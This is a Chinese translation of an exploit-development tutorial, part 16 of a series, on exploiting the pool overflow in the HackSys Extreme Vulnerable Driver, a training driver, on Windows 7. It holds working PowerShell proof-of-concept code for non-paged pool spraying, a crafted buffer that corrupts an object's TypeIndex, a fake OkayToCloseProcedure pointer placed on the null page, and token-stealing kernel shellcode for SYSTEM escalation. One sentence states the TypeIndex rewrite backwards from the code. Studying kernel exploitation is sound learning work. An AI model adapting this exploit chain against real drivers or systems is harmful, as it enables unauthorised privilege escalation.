翻译:维一零
预估稿费:260RMB(不服你也来投稿啊!)
投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿
前言
你好,欢迎回到Windows漏洞利用开发系列教程的第16部分。今天我们将使用@HackSysTeam有漏洞的驱动来进行内存池溢出利用。我再次强烈地建议读者在进入这篇文章之前去回顾下面列出的资源,另外关于内存池分配的更多背景知识请见第15部分。关于调试环境的设置细节可以从第10部分找到。
资源
HackSysExtremeVulnerableDriver(@HackSysTeam)
HackSysTeam-PSKernelPwn(@FuzzySec)
Windows 7内核池利用(@kernelpool)
理解内存池破坏第1部分(MSDN)
理解内存池破坏第2部分(MSDN)
理解内存池破坏第3部分(MSDN)
侦察挑战
让我们带着问题看一下漏洞函数的一部分(在这里)。
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556 | NTSTATUS TriggerPoolOverflow(IN PVOID UserBuffer, IN SIZE_T Size) { PVOID KernelBuffer = NULL; NTSTATUS Status = STATUS_SUCCESS; PAGED_CODE(); __try { DbgPrint("[+] Allocating Pool chunk\n"); // 分配内存块 KernelBuffer = ExAllocatePoolWithTag(NonPagedPool, (SIZE_T)POOL_BUFFER_SIZE, (ULONG)POOL_TAG); if (!KernelBuffer) { // 无法分配内存块 DbgPrint("[-] Unable to allocate Pool chunk\n"); Status = STATUS_NO_MEMORY; return Status; } else { DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG)); DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool)); DbgPrint("[+] Pool Size: 0x%X\n", (SIZE_T)POOL_BUFFER_SIZE); DbgPrint("[+] Pool Chunk: 0x%p\n", KernelBuffer); } //验证缓冲区是否在用户模式下 ProbeForRead(UserBuffer, (SIZE_T)POOL_BUFFER_SIZE, (ULONG)__alignof(UCHAR)); DbgPrint("[+] UserBuffer: 0x%p\n", UserBuffer); DbgPrint("[+] UserBuffer Size: 0x%X\n", Size); DbgPrint("[+] KernelBuffer: 0x%p\n", KernelBuffer); DbgPrint("[+] KernelBuffer Size: 0x%X\n", (SIZE_T)POOL_BUFFER_SIZE); #ifdef SECURE // 安全提示: 这里是安全的因为开发者解析size等于 // 分配内存块的size即RtlCopyMemory()/memcpy()。 // 因此, 这里不会溢出 RtlCopyMemory(KernelBuffer, UserBuffer, (SIZE_T)BUFFER_SIZE); #else DbgPrint("[+] Triggering Pool Overflow\n"); // 漏洞提示: 这里就是带有溢出漏洞的理想内存 // 因为开发者直接解析用户提供的值为 // RtlCopyMemory()/memcpy() 而没有校验size是否大于 // 或等于内存块分配的size RtlCopyMemory(KernelBuffer, UserBuffer, Size); #endif if (KernelBuffer) { DbgPrint("[+] Freeing Pool chunk\n"); DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG)); DbgPrint("[+] Pool Chunk: 0x%p\n", KernelBuffer); // 释放分配的内存块 ExFreePoolWithTag(KernelBuffer, (ULONG)POOL_TAG); KernelBuffer = NULL; } } __except (EXCEPTION_EXECUTE_HANDLER) { Status = GetExceptionCode(); DbgPrint("[-] Exception Code: 0x%X\n", Status); } return Status; } |
漏洞是显而易见的!驱动分配内存块的大小X并复制用户提供的数据给它,但是,它没有检查用户提供的数据是否大于内存分配的大小。因此,任何多余的数据将会溢出到未分页内存池里的相邻内存块!我建议你进一步在IDA查看一下这个函数,比较完整的函数开头可以从下面看到,其显示了内存池标记和分配的内存块大小。
我们可以使用以下的PowerShell POC来调用这个函数。注意,我们使用的是最大可用长度,任何多出的数据将蔓延到下一内存块!
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748 | Add-Type -TypeDefinition @" using System; using System.Diagnostics; using System.Runtime.InteropServices; using System.Security.Principal; public static class EVD { [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)] public static extern IntPtr CreateFile( String lpFileName, UInt32 dwDesiredAccess, UInt32 dwShareMode, IntPtr lpSecurityAttributes, UInt32 dwCreationDisposition, UInt32 dwFlagsAndAttributes, IntPtr hTemplateFile); [DllImport("Kernel32.dll", SetLastError = true)] public static extern bool DeviceIoControl( IntPtr hDevice, int IoControlCode, byte[] InBuffer, int nInBufferSize, byte[] OutBuffer, int nOutBufferSize, ref int pBytesReturned, IntPtr Overlapped); [DllImport("kernel32.dll", SetLastError = true)] public static extern void DebugBreak(); } "@ $hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System。IO。FileAccess]::ReadWrite, [System.IO.FileShare]::ReadWrite, [System。IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero) if ($hDevice -eq -1) { echo "`n[!] Unable to get driver handle..`n" Return } else { echo "`n[>] Driver information.." echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver" echo "[+] Handle: $hDevice" } # HACKSYS_EVD_IOCTL_POOL_OVERFLOW IOCTL = 0x22200F #--- $Buffer = [Byte[]](0x41)*0x1F8 echo "`n[>] Sending buffer.." echo "[+] Buffer length: $($Buffer。Length)" echo "[+] IOCTL: 0x22200F" [EVD]::DeviceIoControl($hDevice, 0x22200F, $Buffer, $Buffer。Length, $null, 0, [ref]0, [System。IntPtr]::Zero) |Out-null echo "`n[>] Triggering WinDBG breakpoint.." [EVD]::DebugBreak() |
正如我们可以看到的,分配的内存块大小为0 x200,而我们的缓冲区正好截止到下一个相邻的内存池头部。让我们再试试,增加分配的大小或者让我们的缓冲区覆盖随后内存块头部的8个字节。
1 | $Buffer = [Byte[]](0x41)*0x1F8 + [Byte[]](0x42)*0x4 + [Byte[]](0x43)*0x4 |
这里有很多漏洞我们可以根据内存池的状态来触发,并且我们将随机地覆盖内存块(在本例中是一个二次释放)。不管怎样我们成功蓝屏了并且获得了一个原始的漏洞!
Pwn万物!
游戏计划
我认为简要地列出一个游戏计划是件好事。我们将(1) 在一个可预测的状态下获得的未分页内存池,(2)触发被控制的内存池溢出,(3)利用内部的内存池去设置一个shellcode回调,(4)释放损坏的内存块去获得代码执行权!
我强烈推荐你阅读Tarjei的文章并回顾本系列的第15部分。这将有助于更详细地解释我们的内存块分配“风水”是如何工作的:p !
规则化未分页内存池
在之前的帖子里,我们使用大小为0 x60的IoCompletionReserve对象去喷射未分页内存池。然而在这里,我们的目标对象大小为0 x200,所以我们需要喷射0x200的数据或者可以增加到0x200大小的对象。幸运的是,事件对象的大小为0 x40,并且可以通过乘以8刚好增加到0x200的大小。
以下POC第一次分配10000个事件对象去重组未分页内存池,然后再多5000个以达到可预测的分配。注意到我们dump出最近10个对象句柄然后在WinDBG手动触发断点。
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051 | Add-Type -TypeDefinition @" using System; using System.Diagnostics; using System.Runtime.InteropServices; using System.Security.Principal; public static class EVD { [DllImport("kernel32.dll", SetLastError = true)] public static extern Byte CloseHandle( IntPtr hObject); [DllImport("kernel32.dll", SetLastError = true)] public static extern int CreateEvent( IntPtr lpEventAttributes, Byte bManualReset, Byte bInitialState, String lpName); [DllImport("kernel32.dll", SetLastError = true)] public static extern void DebugBreak(); } "@ function Event-PoolSpray { echo "[+] Derandomizing NonPagedPool.." $Spray = @() for ($i=0;$i -lt 10000;$i++) { $CallResult = [EVD]::CreateEvent([System.IntPtr]::Zero, 0, 0, "") if ($CallResult -ne 0) { $Spray += $CallResult } } $Script:Event_hArray1 += $Spray echo "[+] $($Event_hArray1。Length) event objects created!" echo "[+] Allocating sequential objects.." $Spray = @() for ($i=0;$i -lt 5000;$i++) { $CallResult = [EVD]::CreateEvent([System。IntPtr]::Zero, 0, 0, "") if ($CallResult -ne 0) { $Spray += $CallResult } } $Script:Event_hArray2 += $Spray echo "[+] $($Event_hArray2。Length) event objects created!" } echo "`n[>] Spraying non-paged kernel pool!" Event-PoolSpray echo "`n[>] Last 10 object handles:" for ($i=1;$i -lt 11; $i++) { "{0:X}" -f $($($Event_hArray2[-$i])) } Start-Sleep -s 3 echo "`n[>] Triggering WinDBG breakpoint.." [EVD]::DebugBreak() |
你应该会看到类似这些东西,并且在WinDBG中命中一个断点。
看一下我们dump出来的其中一个句柄,可以看到漂亮的0 x40字节顺序分配。
为了获得一个理想状态的内存池,我们唯一需要做的就是在我们的第二次分配时释放0 x200字节的内存段。这个时候将创造出一个“洞”给驱动对象使用。下面的POC说明了这一点。
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061 | Add-Type -TypeDefinition @" using System; using System.Diagnostics; using System.Runtime.InteropServices; using System.Security.Principal; public static class EVD { [DllImport("kernel32.dll", SetLastError = true)] public static extern Byte CloseHandle( IntPtr hObject); [DllImport("kernel32。dll", SetLastError = true)] public static extern int CreateEvent( IntPtr lpEventAttributes, Byte bManualReset, Byte bInitialState, String lpName); [DllImport("kernel32.dll", SetLastError = true)] public static extern void DebugBreak(); } "@ function Event-PoolSpray { echo "[+] Derandomizing NonPagedPool.." $Spray = @() for ($i=0;$i -lt 10000;$i++) { $CallResult = [EVD]::CreateEvent([System.IntPtr]::Zero, 0, 0, "") if ($CallResult -ne 0) { $Spray += $CallResult } } $Script:Event_hArray1 += $Spray echo "[+] $($Event_hArray1。Length) event objects created!" echo "[+] Allocating sequential objects.." $Spray = @() for ($i=0;$i -lt 5000;$i++) { $CallResult = [EVD]::CreateEvent([System.IntPtr]::Zero, 0, 0, "") if ($CallResult -ne 0) { $Spray += $CallResult } } $Script:Event_hArray2 += $Spray echo "[+] $($Event_hArray2。Length) event objects created!" echo "[+] Creating non-paged pool holes.." for ($i=0;$i -lt $($Event_hArray2。Length);$i+=16) { for ($j=0;$j -lt 8;$j++) { $CallResult = [EVD]::CloseHandle($Event_hArray2[$i+$j]) if ($CallResult -ne 0) { $FreeCount += 1 } } } echo "[+] Free'd $FreeCount event objects!" } echo "`n[>] Spraying non-paged kernel pool!" Event-PoolSpray echo "`n[>] Last 16 object handles:" for ($i=1;$i -lt 17; $i++) { "{0:X}" -f $($($Event_hArray2[-$i])) } Start-Sleep -s 3 echo "`n[>] Triggering WinDBG breakpoint.." [EVD]::DebugBreak() |
内存块结构101
如前所述,我们将利用“内部内存池”去获得代码执行权。我们已经看到,混乱这些结构的话必然会导致系统蓝屏,所以我们将去更好的理解内存块的布局。
下面我们可以看到一个完整的事件对象以及组成它的各种结构!
首先,这里有一个WinDBG的漏洞,就说明内存块结构而言这其实并不重要不过其非常的令人讨厌!大家都可以看到这里的问题吗? 如果有人可以告诉我为什么我会有免费的蛋糕...(蛋糕是假的了)!无论如何当我们之后执行溢出操作时我们有三个头部数据需要保持一致(一定程度上)。
注意到在OBJECT_HEADER里的大小为0 xc的TypeIndex,这个值是在一个描述内存块对象类型的指针数组里的偏移量。我们可以验证如下。
我们可以进一步列举与事件对象指针相关的OBJECT_TYPE。同时,注意在数组里的第一个指针为空(0 x00000000)。
这里的重要部分是 “OkayToCloseProcedure”的偏移。当对象句柄和内存块被释放后,如果这个值不是null,内核将会跳转到该地址并且执行它在这里找到的任何代码。另外,也可以使用在此结构中的其他元素,如“DeleteProcedure”。
问题是我们如何使用利用它?记住内存块本身包含TypeIndex值(0 xc),如果我们溢出内存块并改变这个值为0 x0,对象将尝试在空内存页的进程里寻找OBJECT_TYPE结构。因为这是Windows 7,我们可以分配空内存页并创建一个假的“OkayToCloseProcedure”指针指向shellcode。释放后损坏的内核内存块就应该会执行我们的代码!
控制EIP
好了,我们快到家了!我们已经控制了内存池的分配并且知道在0 x200字节对象后我们将有0x40字节的事件对象。我们可以使用以下缓冲区去精确地覆盖三个之前看到的内存块头部。
1234567891011121314151617181920212223 | $PoolHeader = [Byte[]] @( 0x40, 0x00, 0x08, 0x04, # PrevSize,Size,Index,Type union (0x04080040) 0x45, 0x76, 0x65, 0xee # PoolTag -> Event (0xee657645) ) $ObjectHeaderQuotaInfo = [Byte[]] @( 0x00, 0x00, 0x00, 0x00, # PagedPoolCharge 0x40, 0x00, 0x00, 0x00, # NonPagedPoolCharge (0x40) 0x00, 0x00, 0x00, 0x00, # SecurityDescriptorCharge 0x00, 0x00, 0x00, 0x00 # SecurityDescriptorQuotaBlock ) # 对象头被部分覆盖 $ObjectHeader = [Byte[]] @( 0x01, 0x00, 0x00, 0x00, # PointerCount (0x1) 0x01, 0x00, 0x00, 0x00, # HandleCount (0x1) 0x00, 0x00, 0x00, 0x00, # Lock -> _EX_PUSH_LOCK 0x00, # TypeIndex (Rewrite 0xC -> 0x0) 0x00, # TraceFlags 0x08, # InfoMask 0x00 # Flags ) # HACKSYS_EVD_IOCTL_POOL_OVERFLOW IOCTL = 0x22200F #--- $Buffer = [Byte[]](0x41)*0x1f8 + $PoolHeader + $ObjectHeaderQuotaInfo + $ObjectHeader |
这里我们要污染的唯一值就是是TypeIndex,将其从0x00改成0x0c。我们可以使用下面的代码仔细构造一份假的“OkayToCloseProcedure”指针。
1234567891011121314 | echo "`n[>] Allocating process null page.." [IntPtr]$ProcHandle = (Get-Process -Id ([System.Diagnostics.Process]::GetCurrentProcess().Id)).Handle [IntPtr]$BaseAddress = 0x1 # Rounded down to 0x00000000 [UInt32]$AllocationSize = 120 # 0x78 $CallResult = [EVD]::NtAllocateVirtualMemory($ProcHandle, [ref]$BaseAddress, 0, [ref]$AllocationSize, 0x3000, 0x40) if ($CallResult -ne 0) { echo "[!] Failed to allocate null-page..`n" Return } else { echo "[+] Success" } echo "[+] Writing shellcode pointer to 0x00000074" $OkayToCloseProcedure = [Byte[]](0x43)*0x4 [System.Runtime.InteropServices.Marshal]::Copy($OkayToCloseProcedure, 0, [IntPtr]0x74, $OkayToCloseProcedure.Length) |
让我们在WinDBG确认一下我们的观点。
Sw33t,在这个地方几乎要游戏完结了!再次地,细心的读者会注意到之前说的WinDBG漏洞里烦人的提示。
Shellcode
和前面的文章的一样,我们可以重用我们的shellcode,然而这里有两个我留给勤奋的读者去弄清楚的小把戏!一个关于shellcode的结尾,另一个是空内存页到缓冲区布局。
游戏结束
这就是完整的纲要了,详情请参考下面的完整利用。
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172 | Add-Type -TypeDefinition @" using System; using System.Diagnostics; using System.Runtime.InteropServices; using System.Security.Principal; public static class EVD { [DllImport("kernel32.dll", CharSet = CharSet。Auto, SetLastError = true)] public static extern IntPtr CreateFile( String lpFileName, UInt32 dwDesiredAccess, UInt32 dwShareMode, IntPtr lpSecurityAttributes, UInt32 dwCreationDisposition, UInt32 dwFlagsAndAttributes, IntPtr hTemplateFile); [DllImport("Kernel32.dll", SetLastError = true)] public static extern bool DeviceIoControl( IntPtr hDevice, int IoControlCode, byte[] InBuffer, int nInBufferSize, byte[] OutBuffer, int nOutBufferSize, ref int pBytesReturned, IntPtr Overlapped); [DllImport("kernel32.dll", SetLastError = true)] public static extern Byte CloseHandle( IntPtr hObject); [DllImport("kernel32.dll", SetLastError = true)] public static extern int CreateEvent( IntPtr lpEventAttributes, Byte bManualReset, Byte bInitialState, String lpName); [DllImport("kernel32.dll", SetLastError = true)] public static extern IntPtr VirtualAlloc( IntPtr lpAddress, uint dwSize, UInt32 flAllocationType, UInt32 flProtect); [DllImport("ntdll.dll")] public static extern uint NtAllocateVirtualMemory( IntPtr ProcessHandle, ref IntPtr BaseAddress, uint ZeroBits, ref UInt32 AllocationSize, UInt32 AllocationType, UInt32 Protect); } "@ function Event-PoolSpray { echo "[+] Derandomizing NonPagedPool.." $Spray = @() for ($i=0;$i -lt 10000;$i++) { $CallResult = [EVD]::CreateEvent([System。IntPtr]::Zero, 0, 0, "") if ($CallResult -ne 0) { $Spray += $CallResult } } $Script:Event_hArray1 += $Spray echo "[+] $($Event_hArray1.Length) event objects created!" echo "[+] Allocating sequential objects.." $Spray = @() for ($i=0;$i -lt 5000;$i++) { $CallResult = [EVD]::CreateEvent([System。IntPtr]::Zero, 0, 0, "") if ($CallResult -ne 0) { $Spray += $CallResult } } $Script:Event_hArray2 += $Spray echo "[+] $($Event_hArray2.Length) event objects created!" echo "[+] Creating non-paged pool holes.." for ($i=0;$i -lt $($Event_hArray2。Length-500);$i+=16) { for ($j=0;$j -lt 8;$j++) { $CallResult = [EVD]::CloseHandle($Event_hArray2[$i+$j]) if ($CallResult -ne 0) { $FreeCount += 1 } } } echo "[+] Free'd $FreeCount event objects!" } $hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System。IO。FileAccess]::ReadWrite, [System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero) if ($hDevice -eq -1) { echo "`n[!] Unable to get driver handle..`n" Return } else { echo "`n[>] Driver information.." echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver" echo "[+] Handle: $hDevice" } # 使用Keystone-Engine编译 #针对Win7 x86 SP1硬编码偏移量 $Shellcode = [Byte[]] @( #---[Setup] 0x60, # pushad 0x64, 0xA1, 0x24, 0x01, 0x00, 0x00, # mov eax, fs:[KTHREAD_OFFSET] 0x8B, 0x40, 0x50, # mov eax, [eax + EPROCESS_OFFSET] 0x89, 0xC1, # mov ecx, eax (Current _EPROCESS structure) 0x8B, 0x98, 0xF8, 0x00, 0x00, 0x00, # mov ebx, [eax + TOKEN_OFFSET] #---[Copy System PID token] 0xBA, 0x04, 0x00, 0x00, 0x00, # mov edx, 4 (SYSTEM PID) 0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00, # mov eax, [eax + FLINK_OFFSET] <-| 0x2D, 0xB8, 0x00, 0x00, 0x00, # sub eax, FLINK_OFFSET | 0x39, 0x90, 0xB4, 0x00, 0x00, 0x00, # cmp [eax + PID_OFFSET], edx | 0x75, 0xED, # jnz ->| 0x8B, 0x90, 0xF8, 0x00, 0x00, 0x00, # mov edx, [eax + TOKEN_OFFSET] 0x89, 0x91, 0xF8, 0x00, 0x00, 0x00, # mov [ecx + TOKEN_OFFSET], edx #---[Recover] 0x61, # popad 0xC2, 0x10, 0x00 # ret 16 ) # 在内存写shellcode echo "`n[>] Allocating ring0 payload.." [IntPtr]$Pointer = [EVD]::VirtualAlloc([System.IntPtr]::Zero, $Shellcode.Length, 0x3000, 0x40) [System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $Pointer, $Shellcode.Length) $ShellcodePointer = [System.BitConverter]::GetBytes($Pointer.ToInt32()) echo "[+] Payload size: $($Shellcode.Length)" echo "[+] Payload address: 0x$("{0:X8}" -f $Pointer.ToInt32())" echo "`n[>] Spraying non-paged kernel pool!" Event-PoolSpray # 分配空内存页 #--- # NtAllocateVirtualMemory被使用当VirtualAlloc # 拒绝一个小于[IntPtr]0x1000的基地址 #--- echo "`n[>] Allocating process null page.." [IntPtr]$ProcHandle = (Get-Process -Id ([System.Diagnostics.Process]::GetCurrentProcess().Id)).Handle [IntPtr]$BaseAddress = 0x1 # Rounded down to 0x00000000 [UInt32]$AllocationSize = 120 # 0x78 $CallResult = [EVD]::NtAllocateVirtualMemory($ProcHandle, [ref]$BaseAddress, 0, [ref]$AllocationSize, 0x3000, 0x40) if ($CallResult -ne 0) { echo "[!] Failed to allocate null-page..`n" Return } else { echo "[+] Success" } echo "[+] Writing shellcode pointer to 0x00000074" $NullPage = [Byte[]](0x00)*0x73 + $ShellcodePointer [System.Runtime.InteropServices.Marshal]::Copy($NullPage, 0, [IntPtr]0x1, $NullPage.Length) $PoolHeader = [Byte[]] @( 0x40, 0x00, 0x08, 0x04, # PrevSize,Size,Index,Type union (0x04080040) 0x45, 0x76, 0x65, 0xee # PoolTag -> Event (0xee657645) ) $ObjectHeaderQuotaInfo = [Byte[]] @( 0x00, 0x00, 0x00, 0x00, # PagedPoolCharge 0x40, 0x00, 0x00, 0x00, # NonPagedPoolCharge (0x40) 0x00, 0x00, 0x00, 0x00, # SecurityDescriptorCharge 0x00, 0x00, 0x00, 0x00 # SecurityDescriptorQuotaBlock ) # 部分的头部数据 $ObjectHeader = [Byte[]] @( 0x01, 0x00, 0x00, 0x00, # PointerCount (0x1) 0x01, 0x00, 0x00, 0x00, # HandleCount (0x1) 0x00, 0x00, 0x00, 0x00, # Lock -> _EX_PUSH_LOCK 0x00, # TypeIndex (Rewrite 0xC -> 0x0) 0x00, # TraceFlags 0x08, # InfoMask 0x00 # Flags ) # HACKSYS_EVD_IOCTL_POOL_OVERFLOW IOCTL = 0x22200F #--- $Buffer = [Byte[]](0x41)*0x1f8 + $PoolHeader + $ObjectHeaderQuotaInfo + $ObjectHeader echo "`n[>] Sending buffer.." echo "[+] Buffer length: $($Buffer.Length)" echo "[+] IOCTL: 0x22200F" [EVD]::DeviceIoControl($hDevice, 0x22200F, $Buffer, $Buffer。Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null echo "`n[>] Freeing pool chunks!`n" for ($i=0;$i -lt $($Event_hArray2。Length);$i++) { $CallResult = [EVD]::CloseHandle($Event_hArray2[$i]) } |